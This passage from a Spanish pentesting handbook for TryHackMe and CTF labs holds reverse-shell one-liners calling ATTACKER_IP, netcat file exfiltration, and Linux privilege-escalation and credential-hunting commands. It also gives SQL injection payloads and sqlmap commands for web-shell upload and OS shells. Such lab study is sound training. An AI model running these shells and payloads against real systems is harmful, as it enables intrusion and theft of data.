26.2. Netcat con mkfifo

```
rm -f /tmp/f
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP 4444 > /tmp/f
```

26.3. Python

```
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER_IP",4444));[os.dup2
```

26.4. Listener

```
nc -lvnp 4444
```

27. Transferencia de archivos

27.1. HTTP server atacante

```
python3 -m http.server 8000
```

27.2. Descargar con wget

```
wget http://ATTACKER_IP:8000/file -O /tmp/file
```

27.3. Descargar con curl

```
curl http://ATTACKER_IP:8000/file -o /tmp/file
```

27.4. Netcat

Atacante recibe:

```
nc -lvnp 9001 > file
```

Víctima envía:

```
nc ATTACKER_IP 9001 < file
```

28. Tabla de decisión rápida

Hallazgo	Qué significa	Qué hacer
<code>sudo -l</code> muestra binario	Puede haber GTFOBins	Buscar binario en GTFOBins

Hallazgo	Qué significa	Qué hacer
<code>sudo -l</code> muestra script	Puedes ejecutar script como otro usuario	Leer script y revisar dependencias
Script escribible en <code>/opt</code>	Puede ejecutarlo <code>cron/systemd</code>	Buscar quién lo ejecuta
Directorio escribible en <code>PATH</code>	Posible <code>PATH</code> hijacking	Crear binario falso si otro usuario lo usa
SUID raro	Puede ejecutarse como root	Buscar en GTFOBins
Capability <code>cap_setuid</code>	Posible root	Probar técnica específica
<code>.env</code> o config web	Puede contener credenciales	Probar <code>su</code> , <code>ssh</code> , <code>sudo -l</code>
<code>pspy</code> muestra script como root	Automatización privilegiada	Revisar permisos del script
<code>less/vim/find/python</code> con <code>sudo</code>	Muy sospechoso	GTFOBins
Usuario en grupo <code>docker/lxd</code>	Vector crítico	Revisar escalada por contenedor

29. Chuleta rápida final

```
# Identidad
whoami; id; groups; hostname; pwd; echo $PATH

# Sistema
uname -a
cat /etc/os-release
cat /etc/passwd | grep -E "/bin/bash|/bin/sh"

# Sudo
sudo -l

# SUID / SGID / capabilities
find / -perm -4000 -type f -ls 2>/dev/null
find / -perm -2000 -type f -ls 2>/dev/null
getcap -r / 2>/dev/null

# Writable
find / -writable -type f 2>/dev/null | grep -vE "^/proc|^/sys|^/dev"
find / -writable -type d 2>/dev/null | grep -vE "^/proc|^/sys|^/dev|^/run"
```

```

# /opt y scripts
ls -la /opt
find /opt -type f -ls 2>/dev/null
find /usr/local/bin -type f -ls 2>/dev/null

# Cron
cat /etc/crontab
ls -la /etc/cron.d
ls -la /etc/cron.hourly
ls -la /etc/cron.daily

# systemd
grep -R "ExecStart\|User=\|Environment=\|WorkingDirectory=" /etc/systemd/system /lib/systemd

# Procesos
ps auxww

# Credenciales
grep -Ri "password\|passwd\|secret\|token\|key" /home /opt /var/www 2>/dev/null
find / -name ".env" -o -name "*.bak" -o -name "*backup*" 2>/dev/null

# SSH
find /home -name "id_rsa" -o -name "authorized_keys" 2>/dev/null

# Puertos locales
ss -tulpn 2>/dev/null
ss -tuln

# Herramientas
./linpeas.sh | tee linpeas.out
/tmp/pspy64

```

30. Fuentes útiles

- GTFOBins: <https://gtfobins.org/>
 - GTFOBins — less: <https://gtfobins.org/gtfobins/less/>
 - HackTricks — Linux Privilege Escalation Checklist: <https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist>
 - PEASS-ng / LinPEAS: <https://github.com/peass-ng/PEASS-ng>
 - pspy: <https://github.com/DominicBreuker/pspy>
-

31. Idea final

La escalada de privilegios en Linux casi siempre se reduce a encontrar una relación rota de confianza:

Puedo modificar algo
+
alguien con más privilegios lo ejecuta/lee/carga
=
puedo escalar

No busques solo exploits. Busca:

permisos
automatizaciones
scripts
credenciales
sudo
SUID
capabilities
PATH
servicios

La pregunta clave en cada usuario:

¿Qué puede tocar este usuario que acabe afectando a otro usuario más privilegiado?

Guia practica - Metodologia CVE y Exploits para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Guia para pasar de 'veo una version' a 'tengo un exploit razonable' sin ejecutar cualquier PoC a ciegas.

En CTF el tiempo importa, pero un exploit incorrecto puede hacerte perder mas tiempo que una enumeracion cuidadosa.

1. Confirmar version real

```
nmap -sC -sV -p PUERTO $IP
curl -i $URL/
whatweb -a 3 $URL
searchsploit PRODUCT VERSION
banner grab: nc -nv $IP PUERTO
```

- No confies en un solo banner; puede estar oculto, parcheado o falseado.
- Busca version en headers, HTML, JS, changelog, readme, package files y rutas admin.
- Diferencia producto, plugin, tema, modulo y sistema operativo.

2. Triage de candidatos

Pregunta	Decision
Coincide producto exacto?	Si no, baja prioridad.
Coincide rango de versiones?	Si esta fuera, busca bypass o descarta.
Requiere credenciales?	Separar pre-auth de post-auth.
Requiere rol admin?	Solo util si ya tienes ese rol.
Es RCE, LFI, auth bypass o info leak?	Prioriza segun cadena de ataque.
Es destructivo?	Evitar salvo que el lab lo pida explicitamente.

3. Leer PoC antes de ejecutar

```
sed -n '1,220p' exploit.py
grep -nEi "rm|del|format|shutdown|useradd|chmod|curl|wget|socket|subprocess" exploit.py
python3 exploit.py -h
```

- Identifica inputs: RHOST, RPORT, URL, usuario, password, callback, archivo.
- Busca acciones peligrosas: rm, format, shutdown, useradd persistente, cambios irreversibles.
- Comprueba dependencias y version de Python/Ruby/Go.
- Entiende que condicion confirma exito: status, archivo creado, callback, salida en HTTP.

4. Adaptar exploit con control

Primero haz que imprima o confirme, luego que explote.

```
# 1. Probar reachability
curl -i $URL/vulnerable/path

# 2. Reproducir manualmente la parte minima
curl -i -X POST $URL/endpoint -d 'param=test'

# 3. Ejecutar PoC en modo check si existe
```

```
python3 exploit.py --check --url $URL
```

- Reduce el PoC a la petición esencial cuando puedas.
- Cambia payloads a comandos inocuos primero: id, whoami, hostname.
- Loguea requests/responses para poder explicar la cadena.

5. Compilacion segura de exploits

```
file exploit.c
grep -nEi "socket|connect|system|popen|exec|fork|unlink|remove" exploit.c
gcc exploit.c -o exploit
./exploit --help
```

- Compila en una carpeta temporal, no como root salvo que sea imprescindible.
- Si el exploit es para la víctima, compila para su arquitectura: x86/x64, Linux/Windows.
- En Windows labs, revisa si necesitas mingw: x86_64-w64-mingw32-gcc.

6. Cuando descartar

- La versión no coincide y no hay evidencia de vulnerabilidad.
- Requiere credenciales/rol que no tienes.
- El PoC depende de una configuración que el target no expone.
- Solo causa DoS y la room busca flags/acceso.
- No puedes explicar que hace después de leerlo.

7. Registro de evidencia

```
mkdir -p evidence exploit notes
cp exploit.py exploit/original_exploit.py
script -a evidence/exploit_run.log
# ejecutar prueba
exit
```

- Guarda versión detectada, fuente del exploit, cambios hechos y output de éxito.
- Anota precondiciones: usuario requerido, ruta, configuración, puerto.
- Si falla, registra error y razón probable para no repetir bucles.

Guia practica - Credenciales, Cracking y Loot para THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Una credencial encontrada suele desbloquear mas que un exploit. Esta guia ordena donde buscar, como convertir hashes y como probar reutilizacion sin perder control.

1. Fuentes de credenciales

Lugar	Que buscar
Web root	.env, config.php, wp-config.php, web.config, appsettings.json.
Homes	.ssh, history, notes, Desktop, Downloads, backups.
Shares	Backups, IT, Dev, Deploy, SYSVOL, NETLOGON, scripts.
Bases de datos	users, admins, credentials, config, settings.
Windows	cmdkey, Unattend.xml, PowerShell history, IIS configs.
Linux	.bash_history, /var/www, /opt, /var/backups, cron scripts.

2. Busqueda rapida Linux

```
find / -name '*pass*' -o -name '*cred*' -o -name '*.kdbx' 2>/dev/null
grep -RniE 'pass|password|passwd|pwd|secret|token|api[_]?key' /var/www /opt /home 2>/dev/null
find /home -name '.ssh' -type d 2>/dev/null
cat ~/.bash_history 2>/dev/null
ls -la /var/backups /backup /opt 2>/dev/null
```

3. Busqueda rapida Windows

```
cmdkey /list
dir /s /b *pass* *cred* *config* *backup* *.kdbx 2>nul
findstr /si password *.txt *.ini *.config *.xml *.json 2>nul
type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
```

4. Conversiones John frecuentes

```
zip2john secret.zip > zip.hash
rar2john secret.rar > rar.hash
keepass2john vault.kdbx > keepass.hash
ssh2john id_rsa > id_rsa.hash
office2john document.docx > office.hash
pdf2john file.pdf > pdf.hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
```

- Si John no reconoce un formato, revisa si necesitas herramienta *2john especifica.
- Guarda siempre archivo original y hash convertido.

5. Hashcat basico

```
hashid hash.txt
hashcat --example-hashes | grep -i ntlm -n
hashcat -m 1000 ntlm.hash /usr/share/wordlists/rockyou.txt
hashcat -m 3200 bcrypt.hash /usr/share/wordlists/rockyou.txt
hashcat --show -m 1000 ntlm.hash
```

- Identifica modo antes de lanzar.
- En THM, rockyou + reglas simples suele bastar para hashes de reto.
- Si es lento, revisa si el hash es realmente crackeable offline o necesitas otro vector.

6. Reutilizacion controlada

Una password puede valer para SSH, SMB, WinRM, panel web, base de datos o sudo.

```
ssh user@$IP
smbclient -L //$IP -U 'user%password'
nxc smb $IP -u user -p password
nxc winrm $IP -u user -p password
mysql -h $IP -u user -p
sudo -l
```

- En AD, evita spraying agresivo. Usa usuarios reales y una password candidata con control.
- Registra donde funciona cada credencial y que permisos dio.

7. KeePass y archivos cifrados

```
keepass2john database.kdbx > keepass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash
john --show keepass.hash
kpccli --kdb database.kdbx
```

- Busca keyfiles junto al .kdbx.
- Si encuentras notas de usuario, usalas para crear wordlist pequena.

8. Checklist loot

- Crear loot/ y separar hashes/, creds/, files/.
- No mezclar credenciales validas con basura sin etiquetar.
- Registrar fuente: archivo/ruta/comando/usuario.
- Probar reutilizacion por servicio, no a ciegas.
- Volver a enumerar despues de cada credencial nueva.

Plantilla practica - Notas y Writeup para Rooms THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Plantilla para no perder hallazgos mientras resuelves. La meta es que tus notas sirvan para continuar, explicar y escribir el writeup final.

Una buena nota responde: que vi, que probe, que salio, que desbloquea y donde esta la evidencia.

1. Estructura de carpeta

```
mkdir -p nmap web loot creds hashes screenshots exploits notes
touch notes/00-index.md notes/creds.md notes/commands.md notes/timeline.md
```

2. Ficha inicial

```
# Room
- Nombre:
- Plataforma: TryHackMe
- Fecha:
- IP:
- Hostnames:
- Dominio:
- Objetivo:
- VPN/AttackBox:
```

3. Tabla de superficie

Puerto	Servicio	Version	Evidencia	Siguiente prueba
80	HTTP	Apache/PHP	nmap_services.txt + whatweb	ffuf, Burp, vhosts
445	SMB	Windows/AD	nmap_ad.txt	shares, users, rid brute
22	SSH	OpenSSH	nmap_services.txt	probar creds/keys

4. Registro de comandos

```
## Comando
Fecha/hora:
Contexto:
Comando:
Resultado importante:
Archivo de evidencia:
Decision desbloqueada:
```

- No guardes cada linea de ruido; guarda outputs que cambian la decision.
- Si un comando falla, anota error y razon probable.

5. Credenciales

```
| Usuario | Password/Hash | Fuente | Servicio probado | Resultado |
| --- | --- | --- | --- | --- |
| user | pass | /var/www/config.php | ssh/smb/web | ssh OK |
```

- Separar credenciales confirmadas de candidatas.
- Anotar si una credencial abre nueva enumeracion.

6. Cadena de ataque

1. Recon: puertos abiertos y tecnologia.
2. Enumeracion: hallazgo clave.
3. Acceso inicial: vector exacto.
4. Post-exploit: usuario y permisos.
5. Privesc: misconfig explotada.
6. Flags: rutas y evidencia.
7. Root cause: por que funciono.

7. Plantilla de hallazgo

```
## Hallazgo
- Titulo:
- Impacto:
- Precondiciones:
- Evidencia:
- Pasos reproducibles:
- Comandos minimos:
- Resultado:
- Mitigacion teorica:
```

8. Checklist de cierre

- Tengo user.txt/root.txt o los objetivos de la room.
- Puedo reproducir acceso inicial con comandos minimos.
- Puedo explicar la escalada sin depender de output gigante de linpeas/winpeas.
- Credenciales y hashes estan etiquetados por fuente.
- El writeup no contiene secretos personales fuera del lab.
- Anote falsos caminos relevantes para no repetirlos.

Cheatsheet - Equivalencias de comandos Windows y Linux

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Chuleta rapida para no bloquearte al cambiar entre Linux, Windows CMD y PowerShell.

En Windows moderno, muchas rooms mezclan cmd.exe y PowerShell. Si un comando falla, comprueba en que shell estas.

1. Navegacion y archivos

Objetivo	Linux	Windows CMD	PowerShell
Listar archivos	ls -la	dir	Get-ChildItem / ls / dir
Cambiar directorio	cd /ruta	cd C:\ruta	Set-Location C:\ruta / cd
Ruta actual	pwd	cd	Get-Location / pwd
Ver archivo	cat file.txt	type file.txt	Get-Content file.txt / cat
Ver por paginas	less file.txt	more file.txt	Get-Content file.txt more
Copiar	cp a b	copy a b	Copy-Item a b
Mover/renombrar	mv a b	move a b / ren a b	Move-Item a b / Rename-Item
Borrar archivo	rm file	del file	Remove-Item file / rm
Borrar carpeta	rm -r dir	rmdir /s dir	Remove-Item dir -Recurse
Crear carpeta	mkdir dir	mkdir dir	New-Item -ItemType Directory dir / mkdir
Crear archivo vacio	touch file	type nul > file	New-Item file -ItemType File

2. Busqueda y texto

Objetivo	Linux	Windows CMD	PowerShell
Buscar texto	grep -R "pass" .	findstr /S /I pass *	Select-String -Path * -Pattern pass -Recurse
Buscar archivo	find / -name file 2>/dev/null	dir /s /b file	Get-ChildItem -Recurse -Filter file
Primeras lineas	head file	powershell -c "gc file -Head 10"	Get-Content file -Head 10
Ultimas lineas	tail file	powershell -c "gc file -Tail 10"	Get-Content file -Tail 10
Seguir log	tail -f log	powershell -c "gc log -Wait"	Get-Content log -Wait
Contar lineas	wc -l file	find /c /v "" file	(Get-Content file).Count
Filtrar salida	cmd grep text	cmd findstr text	cmd Select-String text

3. Sistema, usuarios y procesos

Objetivo	Linux	Windows CMD	PowerShell
Usuario actual	whoami / id	whoami	whoami
Grupos/privilegios	id / groups	whoami /groups / whoami /priv	whoami /groups; whoami /priv

Objetivo	Linux	Windows CMD	PowerShell
Hostname	hostname	hostname	hostname
Info sistema	uname -a; cat /etc/os-release	systeminfo	Get-ComputerInfo
Variables entorno	env	set	Get-ChildItem Env:
Procesos	ps aux	tasklist	Get-Process
Matar proceso	kill -9 PID	taskkill /PID PID /F	Stop-Process -Id PID -Force
Servicios	systemctl / service	sc query	Get-Service
Tareas programadas	crontab -l / systemctl list-timers	schtasks /query /fo LIST /v	Get-ScheduledTask

4. Red y conexiones

Objetivo	Linux	Windows CMD	PowerShell
IP/interfaces	ip a / ifconfig	ipconfig /all	Get-NetIPConfiguration
Rutas	ip route	route print	Get-NetRoute
Puertos escuchando	ss -tulpen / netstat -tulpen	netstat -ano	Get-NetTCPConnection
DNS lookup	dig host / nslookup host	nslookup host	Resolve-DnsName host
Conectividad	ping -c 4 IP	ping IP	Test-Connection IP
Probar puerto	nc -nv IP 80	telnet IP 80	Test-NetConnection IP -Port 80
Descargar archivo	wget URL -O file / curl -o file URL	certutil -urlcache -split -f URL file	Invoke-WebRequest URL -OutFile file
Servidor HTTP rapido	python3 -m http.server 8000	python -m http.server 8000	python -m http.server 8000

5. Permisos y hashes utiles

Objetivo	Linux	Windows CMD	PowerShell
Permisos archivo	ls -la file	icacls file	Get-Acl file
Cambiar permisos	chmod +x file	icacls file /grant user:F	icacls file /grant user:F
Propietario	stat file	dir /q file	Get-Acl file Select Owner
Hash MD5/SHA	md5sum file / sha256sum file	certutil -hashfile file SHA256	Get-FileHash file -Algorithm SHA256
Archivos ocultos	ls -la	dir /a	Get-ChildItem -Force

6. Notas rapidas

- PowerShell acepta muchos alias tipo ls, cat, cp, mv y rm, pero no siempre se comportan igual que Linux.
- En scripts o writeups, usa comandos nativos claros: Get-ChildItem, Get-Content, Copy-Item, Remove-Item.
- En CMD, los comodines y comillas se comportan distinto a Bash. Si algo raro falla, prueba PowerShell.
- En Windows, rutas con espacios necesitan comillas: "C:\Program Files\App".
- Para THM, certutil e Invoke-WebRequest son los dos metodos de descarga que mas aparecen.

Guia practica - Errores tipicos y soluciones

THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Tabla de rescate para distinguir si un bloqueo viene de conectividad, nombres/dominio, autenticacion, herramienta o interpretacion del resultado.

1. Errores frecuentes

Sintoma	Causa probable	Que probar
No responde ping	ICMP filtrado o VPN rara.	Usar nmap -Pn; comprobar tun0/VPN; reiniciar target si THM va lento.
nmap ve pocos puertos	Rate alto, host filtrando o escaneo incompleto.	Repetir con -Pn, bajar --min-rate, probar UDP si aplica.
ffuf devuelve todo 200	Wildcard o pagina catch-all.	Filtrar con -fs, -fw, -fl; comparar una ruta aleatoria inexistente.
vhost no aparece	Host header incorrecto o falta /etc/hosts.	Añadir dominio a /etc/hosts; usar -H 'Host: FUZZ.dominio'.
Reverse shell no llega	LHOST mal, VPN IP incorrecta, firewall o puerto ocupado.	Usar ip a/tun0; nc -lvnp; probar curl desde victima a tu HTTP.
Shell se corta	TTY inestable o comando interactivo.	Estabilizar con python pty, stty raw -echo, TERM=xterm.
smbclient ACCESS_DENIED	Formato de usuario/dominio o permisos insuficientes.	Probar -N, Guest, DOMAIN/user, user%pass, smbmap y nxc.
Kerberos KRB_AP_ERR_SKEW	Hora desincronizada.	Sincronizar hora con DC; comprobar timezone; usar FQDN correcto.
Cannot find KDC	DNS/hosts/realm mal.	Añadir DC_FQDN y dominio a /etc/hosts; revisar DOMAIN.
evil-winrm falla	Puerto cerrado, formato usuario o cred invalida.	nxc winrm \$IP -u USER -p PASS; probar DOMAIN\USER; revisar 5985/5986.
SQLMap no detecta nada	Request incompleta, parametro no vulnerable o WAF/filtro.	Usar -r desde Burp, marcar parametro con *, subir level/risk con cuidado.
PoC no funciona	Version/config no coincide o requiere auth.	Leer PoC, confirmar precondiciones, reproducir peticion minima con curl/Burp.

2. Regla de oro

- Si una herramienta falla, reproduce la condicion minima con curl, nc, smbclient o nxc.
- Si un servicio depende de nombre, no insistas solo con IP.
- Si una credencial funciona en un sitio, pruebala de forma controlada en los demas servicios.

Checklist practica - Me he atascado en una room THM / CTF

Uso previsto: laboratorios autorizados, TryHackMe y CTF. Ajusta rutas, IPs, credenciales y herramientas segun el entorno.

Objetivo

Lista de rescate para volver a lo basico y encontrar una superficie que no hayas reenumerado con la informacion nueva.

1. Preguntas de desbloqueo

Pregunta	Por que puede desbloquear
He revisado UDP?	DNS, SNMP, TFTP o NFS suelen cambiar completamente la room.
He probado vhosts?	Muchas webs esconden paneles o apps por Host header.
He mirado robots, sitemap, JS y codigo fuente?	Puede filtrar rutas, endpoints, tokens o comentarios.
Tengo usuarios reales?	Usuarios reales permiten spraying, AS-REP, Kerberoast o cred reuse.
He reenumerado con nuevas credenciales?	Una cred valida cambia shares, LDAP, web, sudo, WinRM y DB.
Hay servicios solo en localhost?	Puede requerir pivot o port forward tras conseguir shell.
He probado cred reuse?	La misma password puede abrir SSH, SMB, WinRM, panel web, MySQL o sudo.
Estoy usando hostname cuando toca?	Kerberos, vhosts y apps internas pueden fallar solo por usar IP.
He revisado permisos de escritura?	Privesc suele venir de scripts, servicios, cron/tareas o configs escribibles.
Estoy siguiendo un falso positivo?	Vuelve a evidencia: version exacta, respuesta real e impacto claro.

2. Reset de 10 minutos

```
cat nmap/services.txt
grep -RniE 'pass|user|key|token|admin' loot web notes 2>/dev/null
cat notes/creds.md 2>/dev/null
cat notes/timeline.md 2>/dev/null
```

- Escribe en una linea cual es tu mejor hipotesis actual.
- Escribe que evidencia la apoya y que prueba la descartaria.
- Si no puedes responder eso, vuelve a enumeracion, no a exploits.

Guía de Referencia Técnica Avanzada: SQL Injection & SQLMap

SQL Injection (SQLi) es una vulnerabilidad crítica de seguridad web que ocurre cuando la entrada del usuario se interpreta como código SQL en el backend. Esto permite a un atacante ejecutar consultas arbitrarias, posibilitando la lectura, modificación o eliminación de datos, e incluso la ejecución de comandos en el sistema operativo subyacente.

1. Topología y variantes de SQLi

Comprender la topología de la inyección es fundamental para seleccionar el vector de ataque y la técnica de extracción adecuados.

In-Band (clásica)

Los datos extraídos se reflejan directamente en la respuesta HTTP de la aplicación.

Error-Based

Fuerza excepciones en la base de datos que exponen información sobre su estructura o contenido, por ejemplo:

- desbordamientos de enteros
- conversiones de tipo inválidas

UNION-Based

Concatena los resultados de una consulta inyectada a los resultados de la consulta original legítima mediante el operador `UNION`.

Inferential (Blind)

No existe un mecanismo directo de transferencia de datos en la respuesta. La extracción se realiza infiriendo información bit a bit mediante la observación del comportamiento de la aplicación.

Boolean-Based Blind

Analiza discrepancias en las respuestas HTTP, como:

- cambios de contenido
- longitud de respuesta
- códigos de estado

Todo ello basándose en condiciones lógicas verdaderas o falsas.

Time-Based Blind

Emplea funciones de retardo temporal en la base de datos para inferir resultados basándose en el tiempo de respuesta del servidor HTTP.

Out-of-Band (OOB)

Los datos se exfiltran utilizando un protocolo o canal alternativo, por ejemplo:

- consultas DNS
- peticiones SMB
- peticiones HTTP dirigidas a infraestructura controlada por el atacante

Second-Order SQLi

El payload malicioso se almacena en la base de datos, por ejemplo en un registro de usuario, y se ejecuta posteriormente cuando la aplicación recupera y utiliza esa información sin sanitizar en una consulta diferente.

2. Repositorio de payloads y explotación manual

2.1 Bypass de autenticación

Diseñados para eludir controles de acceso forzando evaluaciones lógicas verdaderas o truncando la consulta original.

```
' OR 1=1 -- -  
admin' -- -  
admin' #  
' OR 'a'='a  
admin" OR "1"="1  
admin' OR 1=1 LIMIT 1; -- -
```

2.2 Identificación de vulnerabilidad (errores y lógica)

Caracteres de ruptura

```
' " \ ;
```

Evaluaciones lógicas

```
' AND 1=1; -- -
```

Si responde normalmente, es vulnerable y la condición es verdadera.

```
' AND 1=2; -- -
```

Si la respuesta cambia, confirma la inyección lógica.

2.3 Metodología UNION-Based detallada

Requisito: la consulta inyectada debe igualar el número de columnas y poseer tipos de datos compatibles.

Determinación de columnas (ORDER BY o GROUP BY)

```
' ORDER BY 1--  
' ORDER BY 2--
```

Incrementar iterativamente hasta observar un error o comportamiento anómalo.

Identificación de columnas de salida (tipado iterativo)

```
' UNION SELECT null, null, null--  
' UNION SELECT 'A', 'B', 'C'--
```

Útil para identificar qué columna refleja texto en el HTML.

Extracción de información concatenada (ejemplo MySQL/MariaDB)

```
' UNION SELECT 1, 2, GROUP_CONCAT(table_name)  
FROM information_schema.tables  
WHERE table_schema=database()--
```

```
' UNION SELECT 1, 2, GROUP_CONCAT(column_name)  
FROM information_schema.columns  
WHERE table_name='users'--
```

```
' UNION SELECT 1, 2, GROUP_CONCAT(username, 0x3a, password)  
FROM users--
```

0x3a es el carácter `:` en hexadecimal para separar campos.

2.4 Extracción Boolean-Based Blind

Requiere fuerza bruta para adivinar cada carácter, típicamente automatizado con scripts o Burp Suite Intruder.

Identificar longitud de la versión

```
' AND LENGTH(@@version)>10--
```

Extraer el primer carácter de la versión

```
' AND ASCII(SUBSTRING(@@version,1,1))=53--
```

53 es 5 en ASCII.

2.5 Extracción Time-Based Blind

MySQL / MariaDB

```
' OR IF(ASCII(SUBSTRING(user(),1,1))=114, SLEEP(5), 0)--
```

PostgreSQL

```
' OR (SELECT CASE  
WHEN (SUBSTRING(current_user,1,1)='p')  
THEN pg_sleep(5)  
ELSE pg_sleep(0)  
END)--
```

MSSQL

```
'; IF (SUBSTRING(SYSTEM_USER,1,1)='s') WAITFOR DELAY '0:0:5'--
```

2.6 Especificidades por motor de base de datos (fingerprinting)

Característica	MySQL / MariaDB	PostgreSQL	MSSQL	Oracle
Comentarios	-- , # , /*..*/	-- , /*..*/	-- , /*..*/	--
Concatenación	CONCAT('a','b')	'a' 'b'	'a' + 'b'	'a' 'b'
Versión	@@version , version()	version()	@@version	v\$version
Usuario actual	user() , current_user	current_user	SYSTEM_USER , USER_NAME()	user
Esquema / BD	database() , schema()	current_database()	DB_NAME()	global_name

3. Guía avanzada de operación de SQLMap

SQLMap es la herramienta estándar de la industria para automatizar la detección y explotación.

3.1 Peticiones complejas y autenticación

Inyección en cabeceras

Requiere `--level=3` o superior.

```
sqlmap -u "http://target.thm/index.php" --cookie="PHPSESSID=123*; user_id=1"
```

El asterisco `*` indica a SQLMap el punto exacto de inyección, optimizando el tiempo.

Petición con autenticación HTTP (Basic/Digest)

```
sqlmap -u "http://target.thm/admin" --auth-type=Basic --auth-cred="admin:password"
```

Petición desde archivo capturado (Burp Suite)

```
sqlmap -r request.txt -p username --force-ssl
```

3.2 Enumeración y extracción profunda

Extracción de contraseñas y hashes

```
sqlmap -u "<URL>" --passwords
```

Enumeración de privilegios y roles de usuario

```
sqlmap -u "<URL>" --privileges  
sqlmap -u "<URL>" --roles
```

Buscar columnas específicas en toda la base de datos

Muy útil para buscar credenciales.

```
sqlmap -u "<URL>" --search -C "pass,pwd,hash,secret"
```

Extracción condicional

Ignorar bases de datos del sistema:

```
sqlmap -u "<URL>" --dbs --exclude-sysdbs
```

Ejecutar una consulta SQL personalizada

```
sqlmap -u "<URL>" --sql-query="SELECT * FROM users WHERE id=1"
```

3.3 Interacción con el sistema de archivos y SO (post-explotación)

Requiere privilegios elevados, por ejemplo `FILE` en MySQL.

Leer archivos del servidor

```
sqlmap -u "<URL>" --file-read="/etc/passwd"
```

Subir archivos al servidor

Útil para subir web shells.

```
sqlmap -u "<URL>" --file-write="./local_shell.php" --file-dest="/var/www/html/shell.php"
```

Ejecutar comandos o conseguir shell interactiva

```
sqlmap -u "<URL>" --os-cmd="whoami"  
sqlmap -u "<URL>" --os-shell  
sqlmap -u "<URL>" --os-pwn
```

`--os-pwn` combina Metasploit y SQLMap para obtener `meterpreter`.

3.4 Evasión avanzada (tamperers y tuning)

Incrementar agresividad

```
--level=5 --risk=3
```

Evaluación total de cabeceras y operadores lógicos destructivos.

Ofuscación para evasión de WAF

El parámetro `--tamper` permite alterar la estructura del payload. Se pueden encadenar varios separados por comas.

- **space2comment**: reemplaza espacios con comentarios `/**/`.
- **apostrophemask**: reemplaza `'` por su representación UTF-8.

- **charencode / charunicodeencode**: codifica la carga útil mediante URL encoding o Unicode.
- **base64encode**: codifica los parámetros en base64 si la aplicación los decodifica internamente.
- **randomcase**: altera mayúsculas y minúsculas, por ejemplo `sE1EcT`.

Ejemplo de evasión combinada

```
sqlmap -u "<URL>" -p id --tamper="space2comment,randomcase" --random-agent
```

3.5 Optimización de rendimiento en extracciones lentas (Blind)

- `--threads=10`: establece el máximo de conexiones concurrentes.
- `--keep-alive`: utiliza conexiones HTTP persistentes.
- `--technique=B`: fuerza el uso de una técnica específica.
- `--time-sec=2`: reduce el tiempo de espera en peticiones Time-Based.

Técnicas disponibles en `--technique`

- `B`: Boolean
- `E`: Error
- `U`: Union
- `S`: Stacked
- `T`: Time

Útil si ya sabes qué funciona y quieres evitar que SQLMap pierda tiempo probando otras opciones.

4. Mitigación y buenas prácticas (remediación)

Para reportes de Red Team o validación de parches:

Consultas parametrizadas (Prepared Statements)

Es la defensa principal. Separa el código SQL de los datos proporcionados por el usuario.

Uso de ORMs seguros

Implementar mapeadores objeto-relacional como:

- Hibernate
- Entity Framework

Estos abstraen la creación de consultas y reducen errores manuales.

Validación y saneamiento de entradas

Implementar listas blancas estrictas para tipos de datos. Por ejemplo, un ID debe ser obligatoriamente un número entero.

Principio de mínimo privilegio

Asegurar que el usuario de la base de datos que utiliza la aplicación web:

- solo tenga acceso a las tablas necesarias
- no posea permisos de DBA
- no tenga permisos `FILE`
- no pueda ejecutar procedimientos almacenados del sistema operativo, como `xp_cmdshell` en MSSQL

WordPress Red Teaming / CTF - Cheatsheet

(Organizado por fase y objetivo)

Uso previsto: Laboratorios, CTF (TryHackMe, HTB) y auditorías autorizadas.

Objetivo: Enumeración exhaustiva, explotación de vulnerabilidades en core/plugins/temas y ejecución de código (RCE).

Placeholders (estándar)

`$URL` (web objetivo), `$IP` (IP objetivo), `ATTACKER_IP` (tu máquina), `LPORT` (tu puerto listener)

0) Preparación de Entorno

```
export URL="http://target.local"
export IP="10.10.10.10"
export WPSCAN_API_TOKEN="TU_TOKEN_AQUI" # Opcional pero recomendado
```

1) Reconocimiento y Fingerprinting (Rápido)

Explicación: El objetivo inicial es confirmar que nos enfrentamos a un WordPress y extraer la versión exacta del core. Las vulnerabilidades en WordPress raramente están en el core actualizado, sino en versiones antiguas o en sus plugins/temas.

Cabeceras e identificadores básicos

Busca cabeceras que delaten el CMS o rastros en el código fuente de rutas exclusivas de WP (`wp-content`, `wp-includes`).

```
curl -s -I $URL/ | grep -i "link:\|x-powered-by"
curl -s $URL/ | grep -iE "wp-content|wp-includes" | head -n 3
whatweb -a 3 $URL
```

Archivos de versión/información filtrada

Los archivos estáticos por defecto a menudo revelan la versión sin necesidad de interactuar con el backend de PHP.

```
curl -s $URL/readme.html | grep -i "version"
curl -s $URL/license.txt | head -n 5
```

Comprobar endpoints clave (HTTP 200 = Activo)

Identifica la superficie de ataque disponible.

```
curl -s -o /dev/null -w "%{http_code}\n" $URL/wp-login.php
curl -s -o /dev/null -w "%{http_code}\n" $URL/xmlrpc.php
curl -s -o /dev/null -w "%{http_code}\n" $URL/wp-cron.php
```

2) Enumeración Automatizada (WPScan)

Explicación: WPScan actúa como un fuzzer pasivo/activo. Extrae versiones analizando el hash (MD5) de ficheros estáticos de plugins/temas y los compara con su base de datos. El API Token es vital para que te muestre los CVEs asociados a las versiones detectadas.

Enumeración Base (Usuarios, Temas, Plugins vulnerables)

```
wpscan --url $URL --enumerate vp,vt,u --api-token $WPSCAN_API_TOKEN
```

Enumeración Agresiva (Todos los plugins y temas, ruidoso)

